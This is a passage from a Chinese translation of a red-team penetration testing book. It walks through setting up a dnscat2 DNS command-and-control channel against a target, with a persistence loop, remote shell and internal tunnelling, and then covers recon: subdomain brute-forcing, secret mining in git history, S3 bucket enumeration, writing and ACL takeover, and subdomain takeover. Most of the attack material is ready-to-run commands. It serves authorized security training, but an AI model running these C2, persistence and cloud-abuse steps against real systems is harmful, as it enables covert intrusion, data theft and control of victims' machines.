首先,确保将一台 VPS 服务器设置为你的 C2 攻击服务器并获取了该服务器的 IP。
在 GoDaddy 网站购买域名后,登录你的 GoDaddy(或其他类似的)帐户。
选择你的域,单击“管理”,然后选择“高级 DNS”。
先设置两条 A 记录指向你的 VPS 的 IP
ns1 (然后输入你的VPS的IP)
ns2 (然后输入你的VPS的IP)
然后设置自定义 NS 记录
添加 ns1.loca1host.com
添加 ns2.loca1host.com
如上图所示,我们现在让我们的 NS 记录指向 ns1.loca1host.com 和 ns2.loca1host.com,它们都指向我们的攻击
VPS 服务器的 IP。 如果你尝试解析 loca1host.com 的任何子域(即 vpn.loca1host.com),它将尝试使用我们的
VPS 进行相关的域名解析。对我们来说幸运的是,dnscat2 在 UDP 端口53上监听并为我们做了所有繁重的工作。
接下来,我们将需要完全设置充当我们的自定义域名解析服务器的攻击服务器。初始化并设置 dnscat2 服务器:
sudo su -
apt-get update
apt-get install ruby-dev
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
apt-get install gcc make
gem install bundler
bundle install
请测试确认以下脚本能够正常运行: ruby ./dnscat2.rb
备注: 如果你使用的是 Amazon Lightsail,请确保安全组设置中允许 UDP 端口53
对于客户端的代码,我们需要将其编译为 Linux 支持执行的二进制文件。
编译客户端
git clone https://github.com/iagox86/dnscat2.git /opt/dnscat2/client
cd /opt/dnscat2/client/
make
我们现在应该创建一个 dnscat 二进制文件!
(如果你在 windows 环境下编译,需要将 client/win32/dnscat2.vcproj 加载到 Visual Studio 并点击
“build” )
现在我们已经配置好了权威 DNS,我们的攻击服务器作为一个 DNS 服务器正在运行 dnscat2,并且我们已经编译了
恶意软件。我们已经准备好在目标机器中执行我们的 payload。
在开始之前,我们需要在攻击服务器上启动 dnscat2。要启用多个配置,其中的主要配置是配置那个 -secret 标志
来确保我们在 DNS 请求中的通信是加密的。另外,一定要更换我上面用于演示的 loca1host.com 域名,使用你自己
拥有的域名并创建随机密钥字符串。
在你的攻击服务器中启用 dnscat2:
screen
ruby ./dnscat2.rb loca1host.com —secret 39dfj3hdsfajh37e8c902j
假设你在易受攻击的服务器上有某种 RCE(远程命令执行漏洞)。 你可以运行 shell 命令并上传我们的 dnscat
payload。执行 payload:
./dnscat loca1host.com —secret 39dfj3hdsfajh37e8c902j
这将在目标机器中启动 dnscat,域名查询使用了我们自定义的的权威服务器,从而创建我们的 C2 通道。 我留意到
一件事是有时 dnscat2 进程会莫名其妙挂掉。这可能来自大型文件传输或者只是程序崩了。为了规避这些类型的问
题,我想确认我的 dnscat payload 有返回。为此,我通常喜欢使用快速 bash 脚本启动我的 dnscat payload:
nohup /bin/bash -c “while true; do /opt/dnscat2/client/dnscat loca1host.com -secret
9dfj3hdsfajh37e8c902j -max-retransmits 5; sleep 3600; done” > /dev/null 2>&1 &
这将确保如果客户端 payload 进程因任何原因而挂掉了,它将每小时生成一个新的实例。有时你只有一次机会来运
行你的 payload,那么你需要让程序自己计数! 最后,如果你要在 Windows 上跑这个 payload,你可以编译使用
dnscat2 payload......或者,为什么不在 PowerShell 中执行此操作呢?! Luke Baggett 写了一个关于 dnscat 客户端
的 PowerShell 版本->点此查看。
dnscat2的连接
在我们的 payload 执行并连接回我们的攻击服务器之后,我们应该看到类似于下面的一个新的 ENCRYPTED AND
VERIFIED 消息。通过输入 “window”,dnscat2 将显示所有会话。现在,我们有一个名为“1”的单行命令会话。
我们可以通过与我们的命令会话交互来生成终端样式 shell:
与我们的第一个命令会话进行交互
window -i 1
启动shell会话
shell
回到主会话
Ctrl-z
与 2 会话进行交互
window -i 2
现在,你应该能够运行所有 shell 命令(例如 ls)
虽然这不是最快的shell,但由于所有通信都是通过 DNS 进行的,因此它确实可以在一些 Meterpreter 或类似 shell
无法正常工作的情境下生效。 dnscat2 更好的地方是它完全支持搭建隧道。这样,如果我们想要使用来自我们的主
机系统的漏洞利用模块,我们可以通过隧道和浏览器来访问其内部网站,甚至是 SSH 连接到另外的机器中,这一切
都是可能的。
dnscat2 隧道
我们有很多时候想要将来自攻击服务器的流量通过我们的受感染主机传递到其他内部服务器。使用 dnscat2 执行此
操作的最安全方法是通过本地端口转发我们的流量,然后将流量通过隧道传输到内部网络上的其他机器上。我们可以
通过命令会话中的以下命令来完成此示例:
listen 127.0.0.1:9999 10.100.100.1:22
创建隧道后,我们可以返回攻击计算机上的根终端窗口,通过本地的 9999 端口使用 SSH 连接到 localhost,然后成
功连接到受害者网络上的内部系统并进行身份验证。
译者注:这里如果看不懂,可以看看这篇文章加深理解 -> 使用SSH反向隧道进行内网穿透
这将提供各种各样的乐趣和一个很好的测试,来看你的客户的网络是否可以主动检测大量 DNS 查询和溢出。那么,
请求和响应是什么样子的呢? 使用 Wireshark 快速抓包发现:dnscat2 为许多不同的长子域创建了大量不同的 DNS
请求。
现在,你可能想要测试许多其他的协议。例如,Nishang 有一个基于 PowerShell 的 ICMP Shell( http://bit.ly/2GXhd
nZ ),它使用 https://github.com/inquisb/icmpsh 作为 C2 服务器。 还有其他 ICMP shell,如:
https://github.com/jamesbarlow/icmptunnel
https://github.com/DhavalKapil/icmptunnel
http://code.gerade.org/hans/
p0wnedShell
正如 p0wnedShell 的 Github 页面所述,这个工具是“用 C# 编写的进攻型 PowerShell 主机应用程序,它不依赖于
powershell.exe,而是在 powershell 运行空间环境(.NET)中运行 powershell 命令和函数。它包含了大量的
PowerShell 攻击模块和二进制文件,使后期利用过程变得更加容易。我们尝试的是建立一个‘一体化’的后渗透利用工
具,我们可以使用它来绕过所有保护措施(至少是其中一些),p0wnedShell 中包含了所有的相关工具。你可以利
用 p0wnedShell 来在活动目录环境中执行现代化的攻击,并在你的蓝队中创建意识,以帮助他们构建正确的防御策
略。”
Pupy Shell
Pupy 是“一个开源,跨平台(Windows,Linux,OSX,Android)的远程管理和后渗透利用工具,主要用python编
写”。
Pupy 的一个非常棒的功能是,你可以在所有代理上运行 Python,而无需在所有主机上实际安装 Python。 因此,如
果你尝试在自定义框架中编写大量攻击脚本,Pupy就是一个很合适的工具。
PoshC2
PoshC2 是一个代理感知型 C2 框架,完全用 PowerShell 编写,以帮助渗透测试人员进行红队合作,后渗透利用和
横向移动。这些工具和模块是基于我们成功的 PowerShell 会话和 Metasploit 框架的 payload 类型的汇总。
PowerShell 被选为基本语言,因为它提供了所需的所有功能和丰富的拓展特性,而无需向框架引入多种语言。
Merlin
Merlin 利用最近开发的名为 HTTP/2 (RFC7540) 的协议。 “HTTP/2 的通信是多路复用的双向连接,在一个请求和
响应之后不会结束。 此外,HTTP/2 是一种二进制协议,因此它紧凑、易于解析,并且如果不借助解释器的话人是几
乎读不懂的”(Russel Van Tuyl 2017)。
注:
此句话出处为:
Russel Van Tuyl, "Merlin - 跨平台后持续利用 HTTP/2 C2 工具", Medium[Online], 发表于2017年12月19日, 可
获取地址:
https://medium.com/@Ne0nd0g/introducing-merlin-645da3c635a
检索于 2019 年 2 月 27 日
Merlin 是一个用 GO 编写的工具,外观和感觉类似于 PowerShell Empire,并且允许使用轻量级代理。它不支持任
何类型的后渗透利用模块,因此你必须自己完成模块的开发。
Nishang
Nishang 是一个脚本和 payload 的框架和集合,可以使用 PowerShell 进行进攻型安全测试,渗透测试和红队测试。
Nishang 在渗透测试的所有阶段都很有用。
虽然 Nishang 实际上是一系列令人惊叹的 PowerShell 脚本的集合,但也包含一些轻量级的 C2 脚本。
本章总结
现在你终于准备开战。你并非像刚开始那样手无寸铁了,你有这些工具和配置过的服务器。好的准备将帮助你绕过包
括网络检测工具、网络协议被拦截、基于主机的安全工具在内的任何障碍。
对于本书中的实验,我创建了基于 Kali Linux 的添加了所有工具的完整版虚拟机 -> 点此获取 。在 The Hacking
Playbook 的存档中,有一个名为 List_of_Tools.txt 的文本文件,里面列出了所有添加的工具。虚拟机的默认用
户名/密码是 root/toor。
第2章 发球前——红队侦察
译者:@Snowming
在 The Hacking Playbook 2 中,前面的发球部分重点介绍了一些不同的工具,如 Recon-NG、Discover、
Spiderfoot、Gitrob、Masscan、Sparta、HTTP Screenshot、漏洞扫描器(包括 nessus,openvas)、Burp 套件
等。这些工具我们可以在外网或内网络使用,对目标的基础设施进行侦察或扫描。在本书中我们将延续这一做法,然
后从红队的角度对侦察阶段进行拓展。
环境探测
对于红队来说,这往往是进攻的好时机。你不仅需要随时准备好去攻击基础设施,还需要不断地寻找它的漏洞。我们
可以通过使用不同的工具来进行环境扫描、服务探测、检索云计算配置错误。这些活动有助于你收集有关目标基础设
施的更多信息,并找到攻击的最好方法。
扫描结果差异化分析
对于所有客户机,我们要做的第一件事就是设置不同的监视脚本。这些通常只是一些能快速完成的 bash 脚本,它们
每天通过电子邮件向我们发送客户机网络的差异。当然,在扫描之前,确保你有适当合法的授权来执行扫描。
对于一般不太大的客户机网络,我们设置简单的 cronjob 来执行外部端口差异化分析。例如,我们可以创建一个快速
的 Linux bash 脚本来完成这项艰巨的工作(请记住替换下面脚本中的 IP 范围):
#!/bin/bash
mkdir /opt/nmap_diff
d=$(date +%Y-%m-%d)
y=$(date -d yesterday +%Y-%m-%d)
/usr/bin/nmap -T4 -oX /opt/nmap_diff/scan_$d.xml 10.100.100.0/24 >
/dev/null 2>&1
if [ -e /opt/nmap_diff/scan_$y.xml ]; then
/usr/bin/ndiff /opt/nmap_diff/scan$y.xml /opt/nmap_diff/scan$d.xml >
/opt/nmap_diff/diff.txt
fi
译者注:上面这段脚本中使用了正则表达式。所以本小节的英文名字叫 Regular Nmap Diffing。
这是一个非常简单的脚本,它每天用默认的端口运行 nmap,然后使用 ndiff 比较结果。然后,我们可以获取这个脚
本的输出结果,并让它把每天发现的新端口及时通知我们的团队。
在上一本书中,我们着重讨论了 Masscan 的好处,以及它比 nmap 的速度快多少。Masscan 的开发者说,如果你的
网络带宽足够大,你可以在6分钟内扫描完毕整个互联网。所以说,当扫描大的范围时,Masscan 是很可靠的。
Masscan 对我们最初的侦察很有用,但通常不用于比较差异。
实验:
本书中的实验是选修的。在某些部分中,我添加了一些实验方便你进行测试或者扩展更多的领域。这都是基于读者的
个人兴趣的,如果对某方面感兴趣,我强烈推荐你花时间改进我们的工具,并与社区共享它。
建立一个更好的网络 diff 扫描器:
构建一个比默认的 nmap 更好的端口列表(例如,nmap 默认的漏掉一些端口,比如 Redis 6379/6380 和其他端
口)
实现 nmap banner
保持对端口的历史跟踪
建立电子邮件提醒/通知系统
参考 diff Slack 警报
Web 应用程序监控
除了定期扫描开放的端口和服务之外,红队还应该监视不同的 Web 应用程序,这一点很重要。我们可以使用以下两
个工具来帮助监视应用程序的变化。
我们常用的第一个工具是 HTTPScreenshot 。HTTPScreenshot 很强大的原因是它使用 Masscan 快速扫描大型网
络,并使用 phantomjs 捕捉它检测到的任何网站的屏幕截图。这是快速获得大的内网或外网布局架构的一个好方
法。
请记住,本书中的所有工具都是在上一版改进的 Kali 虚拟机中运行的。你可以在这里找到虚拟机。 用户名密码是默
认的:root/toor。
cd /opt/httpscreenshot/
编辑 networks.txt 文件来选择你想扫描的网络:
gedit networks.txt
./masshttp.sh
firefox clusters.html
另一个可以用到的工具是 Eyewitness。
Eyewitness 是另一个很好的工具,它用 XML 文件的方式输出 nmap 的扫描结果、获取到的 Web 页面截图、RDP 服
务器信息以及 VNC 服务器信息,。
实验:
cd /opt/EyeWitness
nmap [IP Range]/24 —open -p 80,443 -oX scan.xml
python ./EyeWitness.py -x scan.xml —web
云扫描
随着越来越多的公司转向使用不同的云基础设施,一些围绕云服务的新型攻击和传统攻击逐渐形成。这通常是由于公
司错误的配置和缺乏对云基础设施上公共条款的确切了解。无论是选择亚马逊 EC2、Azure、谷歌云还是其他云服务
提供商,使用不同的云基础设施都已成为一种全球趋势。
对于红队队员来说,一个问题是如何在不同的云环境中进行探索。由于许多目标公司使用动态 IP,他们的服务器可能
不仅变化很快,而且也不在云提供商的某个列表中列出。例如,如果你使用 AWS,它们在全世界范围内拥有巨大的
范围。根据你选择的区域,你的服务器将随机放入一个大的范围。对于外人来说,发现并监控这些服务器并不容易。
首先,很重要的一点是要弄清楚不同提供者拥有的 IP 范围。其中一些例子是:
Amazon IP 范围
Azure IP 范围
谷歌云 IP 范围
可以看出,这些范围非常大,手动扫描非常困难。在本章中,我们将讨论如何获取这些云系统上的信息。
网络和服务的搜索引擎
要寻找云服务器,互联网上有很多免费的资源,可以对我们的目标进行侦察。我们可以使用谷歌和第三方扫描服务。
使用这些资源,我们可以深入了解一家公司,顺利地查找关于服务器、开放服务、banner 和其他细节的信息。而目
标公司永远不会知道你通过查询获取了这类信息。让我们看看如何作为红队使用这些资源。
Shodan
Shodan 是一个伟大的网络服务,它定期扫描互联网,抓取 banners、端口、网络信息等等。他们甚至会扫描到漏洞
信息,如心脏滴血漏洞。Shodan 最有趣的用途之一是浏览开放式网络摄像头并使用它们。从红队的角度来看,我们
想要找到关于目标受害者的信息。
一些基本的搜索查询:
title: 搜索从 HTML 标记中提取的内容
html: 搜索返回页面的完整 HTML 内容
product: 搜索 banner 中标识的软件或产品的名称
net: 搜索一个指定的网段(例如:204.51.94.79/18)
我们可以在 Shodan 上搜索 cyberspacekittens 网站:
cyberspacekittens.com
使用 HTML 的 title 标签进行搜索
title:cyberspacekittens
搜索页面内容
html:cyberspacekittens.com
请注意,我观察到 Shodan 的扫描有点慢。Shodan 花了超过一个月的时间才扫描完我添加的扫描任务,并将扫瞄结
果放入 Shodan 数据库。
Censys.io
Censys.io 持续监控 Internet 上的每一台可访问的服务器和设备,以便你可以实时搜索和分析它们。通过 Censys 你
能够了解你的网络攻击面,发现新的威胁,并评估其全球影响。
Censys 的最佳特性之一是它从 SSL 证书中提取信息。通常,红队队员的主要困难之一是找到目标服务器在云服务器
上的位置。幸运的是,我们可以使用 Censys.io 来查找这些信息,因为他们已经解析了这些数据
这些扫描的一个问题是它们可能会延迟几天或几周。在这种情况下,需要用一天的时间来扫描标题信息。另外,在我
的站点上创建 SSL 证书之后,信息在 Censys.io 站点上显示花费了四天时间。但是在数据准确性方面,Censys.io 相
当可靠。
下面,我们通过扫描找到目标网站 cyberspacekittens.com 的信息。通过解析服务器的 SSL 证书,我们能够确定受
害者的服务器托管在 AWS 上。
还有一个 Censys脚本工具,可以通过脚本的方式来进行查询。
手动解析 SSL 证书
我们发现,很多公司没有意识到他们在互联网上暴露的东西。特别是随着云服务使用量的增加,许多公司没有正确地
配置安全的访问控制列表。他们相信他们的服务器是受保护的,但我们可以发现他们是暴露在互联网上的。包括
Redis 数据库、Jenkin 服务器、Tomcat 管理、NoSQL 数据库等等——其中许多可以导致远程代码执行以致利益损
失。
找到这些云服务器的轻松而又不为人知的方法是在网络上以自动化的方式手动扫描 SSL 证书。我们可以获取云服务提
供商的 IP 范围列表,并定期扫描所有这些列表以提取 SSL 证书。通过查看 SSL 证书,我们可以了解有关目标公司的
大量信息。从下面对 cyberspacekittens 范围的扫描中,我们可以看到 .int 证书中的主机名。对于内部服务器,.dev.
用于开发, vpn.用于 VPN 服务器等。很多时候你会在结果中看到一些没有对应公网 IP 的内部主机名或者一些他们内
部信任的白名单网段。
为了帮助扫描证书中的主机名,我为本书开发了 sslScrape。这个工具利用 Masscan 快速扫描大型网络。一旦它识
别到443端口的服务,它就会在 SSL 证书中提取主机名。
sslScrape
cd /opt/sslScrape
python ./sslScrape.py [IP 地址 CIDR 范围]
云 IP 地址的例子:
Amazon: http://bit.ly/2vUSjED
Azure: http://bit.ly/2r7rHeR
Google Cloud: http://bit.ly/2HAsZFm
在本书中,我会尝试提供一些代码示例和一个初步的程序框架。然而,是否在示例和初始框架的基础上进一步学习这
取决于你自己。我强烈建议你从这段代码(也就是 sslScrape 的源码)开始,试着将所有获得的主机名保存到一个数
据库里,再做一个 Web UI 前端作为展示页面。然后去连接其他可能有证书的端口,比如 8443 端口,这样可以从证
书中获取主机的信息。甚至可以加上扫描 .git 或者 .svn 等源码信息泄露的功能。
译者注: .git/.svn 源码信息泄露,可以参考:https://www.secpulse.com/archives/55286.html 进行理解。
子域名发现
在识别 IP 范围方面,我们通常可以从区域互联网注册管理机构这样的公共资源来查找某个公司。比如美洲互联网号
码注册管理机构(American Registry for Internet Numbers,ARIN)管理北美和部分加勒比地区事务,网址为 http
s://www.arin.net/ 。我们可以查找 IP 地址的拥有者、某个公司的网络、组织的自治系统编号等等。如果我们要看北
美以外的地区,我们可以通过 AFRINIC(非洲)、APNIC(亚洲)、LACNIC(拉丁美洲)和 RIPE NCC(欧洲)查找。这些都是
公开可用的,并在其服务器上列出。
你可以通过许多可用的公共源查找任何主机名或 FQDN 以找到该域的所有者(我最喜欢的快速查找域名所有者的网站
是 https://centralops.net/co/domaindossier.aspx )。但是子域名就很难搜集。因为子域名并不是在某些公开注册系
统上集中注册的,而是存储在目标的 DNS 服务器上。你必须知道要怎样搜索才能找到有效的子域名。
为什么子域名对于你的攻击目标如此重要?有几个原因:
一些子域可以表明它是什么类型的服务器(即 dev、vpn、mail、internal、test)。例如,
mail.cyberspacekittens.com。
一些网站服务器无法通过 IP 去访问,也就是多个服务器共享一个出口 IP 的情况。这些服务器可能位于共享的基
础设施上(比如 virtual host),如果你要访问这些网站,就只能通过域名去访问。这样的情况在云基础架构中非
常常见。这种情况下,如果你使用 nmap 扫描这个 IP,只能得到主机的端口开放信息,不能进一步获取更多的
Web 指纹,必须要使用对应的子域名来访问站点,然后使用类似于 WhatWeb 的工具来获得 Web 指纹。
收集子域名可以获得目标在哪托管他们服务器的信息。这是通过找出目标全部子域名、针对子域名反向查询 IP
以及查询托管 IP 的地方来完成。一家公司可能会使用多个云服务提供商和数据中心来托管他们的服务器。
在上一本书(The hacker playbook第二版)中我们讲了很多用于子域名收集的工具,因此让我们回顾一些当前仍然
可用的工具的和一些新工具,来更好的进行子域名收集。欢迎扫描 cyberspacekittens.com 域名!
Discover Scripts
上一本书里面谈论的 Discover Scripts 工具仍然是我最喜欢的子域名收集工具之一。因为它结合了Kali Linux 上的所
有的子域名侦察工具,并定期进行维护更新。被动信息收集将利用下列所有的工具: Passive uses ARIN ,
dnsrecon , goofile , goog-mail , goohost , theHarvester , Metasploit , URLCrazy , Whois , multiple
websites and recon-ng .
git clone https://github.com/leebaird/discover /opt/discover/
/cd /opt/discover/
/./update.sh.
/discover.sh
Domain
Passive
[Company Name]
[Domain Name]
firefox /root/data/[Domain]/index.htm
Discover Scripts 最棒的地方在于,它基于已收集到的信息滚雪球式搜索。 例如,通过对公开的 PGP 仓库进行搜
索,它可能会识别电子邮件,然后使用这些信息继续在 Have I Been Pwned 网站进行搜索(通过 Recon-NG 工
具)。这将让我们知道是否可以通过公开发布的数据泄露危害找到一些泄露出的密码。
KNOCK
接下来,我们希望了解公司可能使用的所有服务器和域名。尽管没有存储子域的中心位置,但我们可以使用 Knock
等工具暴力破解不同的子域名,来识别哪些服务器或主机可以攻击。
Knockpy 是一个 python 工具,它通过一个 wordlist 来枚举目标域中的子域名。
Knock 是一个很好的子域名扫描工具,它生成一个子域名列表,并检查这些生成的子域名是否可以解析。因此,如果
你想扫描 cyberspacekittens.com, Knock 将使用 此 wordlist,并查看 [subdomain].cyberspacekittens.com 是否有
任何子域。在此要注意的一点是,更好的 wordlist 会增加找到子域名的机会。
我最喜欢的一个子域名字典是由 jhaddix 创建的(点此查看)。子域名字典是你应该持续收集的东西之一。其他一些好
的子域名字典可以在你的 THP Kali 镜像的 /opt/SecLists 文件夹下找到或者在 这里 找到。
译者注:The Hacker Playbook Kali 镜像在本书的第一章的【本章总结】里面有介绍,是本书作者专门针对于
本书中的实验创建的基于 Kali Linux 并且添加了所有工具的完整版虚拟机(点此获取)。
实验:
搜集 cyberspacekittens.com 的所有子域名。
cd /opt/knock/knockpy
python ./knockpy.py cyberspacekittens.com
这将使用 Knock 中内置的基础子域名字典。尝试下载并使用更大的子域名字典。使用 -u 参数切换到 http://bit.l
y/2qwxrxB 字典。即:
python ./knockpy.py cyberspacekittens.com -u all.txt
你从 Discover Scripts 中发现了哪些类型的差异?什么类型的域将是你的第一个攻击目标,或与钓鱼式域攻击一起使
用?去现实世界试试吧!去找一个 bug 赏金程序,并寻找丰富的子域。
Sublist3r
正如前面提到的,Knock 的问题是,它严重的依赖字典的质量。有些公司有非常独特的子域名,无法通过通用的子域
名字典找到。下一个最好的资源是搜索引擎。当网站被爬虫爬行时,带有链接的文件会被分析并被收集到公开的资
源,这意味着我们可以使用搜索引擎为我们做子域名收集的工作。
在这种情况下,我们可以借助 Sublist3r 这样的工具。注意,这种工具使用不同的 “google dork” 风格的查询语句进
行搜索,容易被谷歌人机检查识别成机器人。这可能会使你暂时被列入黑名单,并要求你为每个请求填写验证码,这
可能会限制扫描的结果。
运行 Sublist3r:
译者注:原书这里存在笔误,作者写成了 To run Sublister,但实际上应该是 To run Sublist3r.
cd /opt/Sublist3r
python sublist3r.py -d cyberspacekittens.com -o cyberspacekittens.com
看看 Sublist3r 跑出来的结果,跟用子域名暴力破解出的结果对比一下,是不是有一些之前没发现的?同样的,再次
针对一个 bug 赏金项目尝试 Sublist3r 方法来收集子域名,对比感受暴力破解和使用搜索引擎之间的显著区别。
Sublist3r 有一个分支版本,这个分支版本包含额外的特性(特别是子域名劫持的检查): https://github.com/Plazma
z/Sublist3r
SubBrute
最后一个要介绍的子域名收集工具是 SubBrute。SubBrute 是一个社区项目,目标是创建最快、最准确的子域枚举
工具。SubBrute 背后的神奇之处在于,它使用开放的解析器作为代理来绕过 DNS 速率限制( https://www.us-cert.g
ov/ncas/alerts/TA13-088A )。这种设计还提供了一层匿名性,因为 SubBrute 不直接向目标的域名服务器发送流
量。
SubBrute 不仅速度非常快,它还执行 DNS 爬虫功能,爬取枚举的 DNS 记录。
运行 SubBrute:
我们还可以将 SubBrute 的性能提升一下,将其与 MassDNS 结合,以执行非常高性能的 DNS 解析。
Github
Github 是一个有惊人数据的宝库。在一些渗透测试和红队评估中,我们能够获得密码,API 密钥,旧的源代码,内
部主机名/ IPs 以及更多。这些要么导致直接攻击沦陷,要么帮助发动另一场攻击。我们看到的是,许多开发人员要
么将代码保存到错误的仓库(将其发送到他们的公开仓库而不是公司的私有仓库),要么意外地保存敏感数据(如密
码),然后试图删除它。Github 的一个优点是,它可以在每次修改或删除代码时进行记录。这意味着如果有一次将敏
感数据保存到仓库中,那么即使删除了该敏感数据,那么它仍然会在数据更改中被记录。只要仓库是公开的,你就能
够查看所有这些更改。
我们可以使用 Github 搜索来识别某些主机名/组织名,或者甚至仅仅使用简单的 Google Dork 搜索,例如:
site:github.com + “cyberspacekittens”
尝试使用不同的方法搜索 bug 赏金程序,而不是仅仅搜索 cyberspacekittens。
通过你所有的搜索,你会遇到: https://github.com/cyberspacekittens/dnscat2 (为 GitHub 实验准备的修改过的示
例)。你可以手动检索这个仓库,但通常它非常大,你很难遍历所有的项目来找到一些有趣的东西。
如前所述,当你在 Github 中编辑或删除文件时,一切都会被跟踪记录。对于红队队员来说,幸运的是,许多人忘记
了这个特性。因此,我们经常看到人们把敏感信息放到 Github 中,然后删除,却没有意识到它还在那里!让我们看看
能不能找到这些珍宝。
Truffle Hog
Truffle Hog工具会扫描不同的提交历史记录和分支来获取高机密的密钥,并输出它们。这对于查找机密数据、密
码、密钥等非常有用。让我们看看能否在 cyberspacekittens 的 Github 仓库中找到一些敏感的数据。
实验:
cd /opt/trufflehog/truffleHog
python truffleHog.py https://github.com/cyberspacekittens/dnscat2
cd /opt/subbrute
./subbrute.py cyberspacekittens.com
正如我们在 commit 历史记录中看到的,AWS 密钥和 SSH 密钥被从 server/controller/csk.config 文件中删除了。但
是如果查看当前仓库,你找不到这个文件。
更好的设置(但是设置起来有点复杂)是 git-all-secrets。在查看大型项目时,Git-all-secrets 非常有用。你只需指定某
个项目并在本地克隆该项目代码,然后使用 Truffle-hog 和 repo-supervisor 扫描它。在此之前你需要创建一个
Github 访问令牌,令牌是免费的,通过创建一个 Github 并在设置中选择 Generate New Token 选项来生成。
运行 git-all-secrets:
cd /opt/git-all-secrets
docker run -it abhartiya/tools_gitallsecrets:v3 -repoURL=https://github.com/cyberspacekittens/dnscat2 -
token=[API Key] - output=results.txt
这将克隆仓库并开始扫描。你甚至可以使用 -org 参数跑完该组织在 Github 上的所有内容。
容器(container)运行完成后,输入以下命令检索容器 ID:
docker ps -a
有了容器 ID 后,就可以输入以下命令将结果文件从容器(container)发送到主机:
docker cp <container-id>:/data/results.txt
Cloud
正如我们前面所说的,cloud 是我们看到的许多公司有不安全环境配置的一个领域。最常见的一些问题是:
Amazon S3 Missing Buckets: https://hackerone.com/reports/121461
Amazon S3 Bucket Permissions: https://hackerone.com/reports/128088
Being able to list and write files to public AWS buckets:
aws s3 ls s3://[bucketname]
aws s3 mv test.txt s3://[bucketname]
Lack of Logging
在开始测试不同的 AWS 存储桶上的错误配置之前,我们需要首先发现它们。我们将尝试一些不同的工具,看看我们
能在受害者的 AWS 基础设施上发现什么。
S3 Bucket Enumeration(S3 存储桶 枚举)
有许多工具可以为 AWS 执行 S3 bucket 枚举 。这些工具通常利用关键字或列表,应用多种排列,然后尝试去发现不
同的 bucket。例如,我们可以使用一个名为 Slurp 的工具来查找关于目标 CyberSpaceKittens 的信息:
cd /opt/slurp
./slurp domain -t cyberspacekittens.com
./slurp keyword -t cyberspacekittens
Bucket Finder
另一个工具 Bucket Finder 不仅会尝试查找不同的 bucket,还会从这些 bucket 中下载所有的内容进行分析:
wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.tar.bz2
cd /opt/bucket_finder
./bucket_finder.rb —region us my_words —download
你一直在基于 Cyber Space Kittens 的基础设施进行搜寻,并发现了他们的一个 S3 bucket(
cyberspacekittens.s3.amazonaws.com )。在 S3 bucket 中检索可见的和不可见的内容时,你的第一步要做什么
呢?你可以首先把它弹到浏览器中来看一些信息:
在开始之前,我们需要创建一个 AWS 帐户来获得一个访问密钥 ID。你可以在 Amazon 免费创建你的帐户。创建帐
户后,登录 AWS,转到你的安全凭据,然后转到访问密钥。一旦你有了 AWS Access ID 和密钥,我们就可以查询 S3
bucket 了。
查询 S3 并下载一切内容:
下载 awscli:
sudo apt install awscli
配置凭证:
aws configure
查看 CyberSpaceKittens 的 S3 bucket 的权限:
aws s3api get-bucket-acl --bucket cyberspacekittens
从 S3 Bucket 中读取文件:
aws s3 ls s3://cyberspacekittens
下载存在 S3 Bucket 中的所有内容:
aws s3 sync s3://cyberspacekittens
除了查询 S3 之外,接下来要测试的是写入该 bucket。如果我们有写的权限,可能就可以对它们的应用程序完成
RCE(远程命令执行)。我们经常看到,当 S3 bucket 上存储的文件被用于它们的所有页面时(并且如果我们可以修改
这些文件),那么我们就可以将恶意代码放到它们的 Web 应用服务器上。
写入 S3:
echo “test” > test.txt
aws s3 mv test.txt s3://cyberspacekittens
aws s3 ls s3://cyberspacekittens
注意,write 已被从 Everyone 组中删除。这只是为了示范。
修改 AWS Buckets 中的访问控制
在分析 AWS 的安全性时,我们需要检查关于对象和 bucket 的权限控制。对象是单独的文件,bucket 是存储的逻辑
单元。如果配置不正确,任何用户都可能修改这些权限。
首先,我们可以查看每个对象来判断这些权限是否配置正确:
aws s3api get-object-acl —bucket cyberspacekittens —key ignore.txt
我们可以看到只有一个名叫 “secure” 的用户对该文件有写的权限。文件不是对所有人开放的。如果我们有写的权
限,就可以使用 s3api 中的 put对象 来修改该文件。
接下来,我们看看是否可以修改这些 bucket 本身。这可以通过以下命令来完成:
aws s3api get-bucket-acl —bucket cyberspacekittens
同样,在这两种情况下,读权限都是全局允许的,但是完全控制或任何写入的权限只有名为 “secure” 的帐户才有。
如果我们可以进入 bucket,那么我们可以使用 —grant-full-control 来赋予我们自己对 bucket 和对象的完全控制
权限。
资源:
https://labs.detectify.com/2017/07/13/a-deep-dive-into-aws-s3-access-controls-taking-full-control-over-yo
ur-assets/
子域名劫持
子域名劫持是一个常见的漏洞,如今我们几乎可以从每一个公司看到这个漏洞。如果一个公司使用用一些第三方
CMS/内容/云提供商,并将它们的子域名指向这些平台,那么就有可能发生子域名劫持漏洞。如果公司忘记配置第三
方服务或从该服务器注销,攻击者就可以使用第三方来劫持该主机名。
举个例子,你使用 testlab.s3.amazonaws.com 这个域名注册了一个 S3 Amazon Bucket。然后,你让你公司的子域
名 testlab.company.com 指向了 testlab.s3.amazonaws.com。一年后,你不再需要 testlab.s3.amazonaws.com
这个 S3 bucket 并注销了它,但是忘记了 testlab.company.com 的 CNAME 重定向。现在,一些人可以去 AWS 搭建
testlab.s3.amazon.com,并在受害者的域中有一个有效的 S3 bucket。
一个检查子域名漏洞的工具叫做 tko-subs 。我们可以用这个工具来检查是否有任何我们找到的子域名指向了一个
CMS 提供商(Heroku, Github, Shopify, Amazon S3, Amazon CloudFront 等),这样该子域名可能可以被劫持。
运行 tko-subs:
如果我们找到了一个 悬挂记录 ,我们可以使用 tko-subs 来劫持 Github 页面和 Heroku 应用程序。否则,我们将不
得不手工操作。
译者注: dagling CNAME, 即为 dangling DNS record,简称 Dare, 一般翻译为 悬挂记录 。这类 DNS 记录指向
的资源无效,但记录本身尚未从 DNS 清除,攻击者可以借此实现 DNS 劫持。 拓展阅读:Understanding the
Security Threats of Dangling DNS Records
另外两个可以帮助域名劫持的工具是:
cd /opt/tko-subs/
./tkosubs -domains=list.txt -data=providers-data.csv -output=output.csv
HostileSubBruteforcer
autoSubTakeover
想了解更多关于AWS漏洞的信息吗?一个很棒的的 CTF AWS 演练 -> http://flaws.cloud/
电子邮件
所有的社会工程学攻击的一个重要部分都是查找 email 地址和员工姓名。我们在前几节中使用了 Discover Script 工
具,它非常适合用来收集这些数据。我个人通常从 Discover Script 开始,并用其他工具进行深入挖掘。每种工具的
功能略有不同,尽可能多地使用自动化流程是有益的。
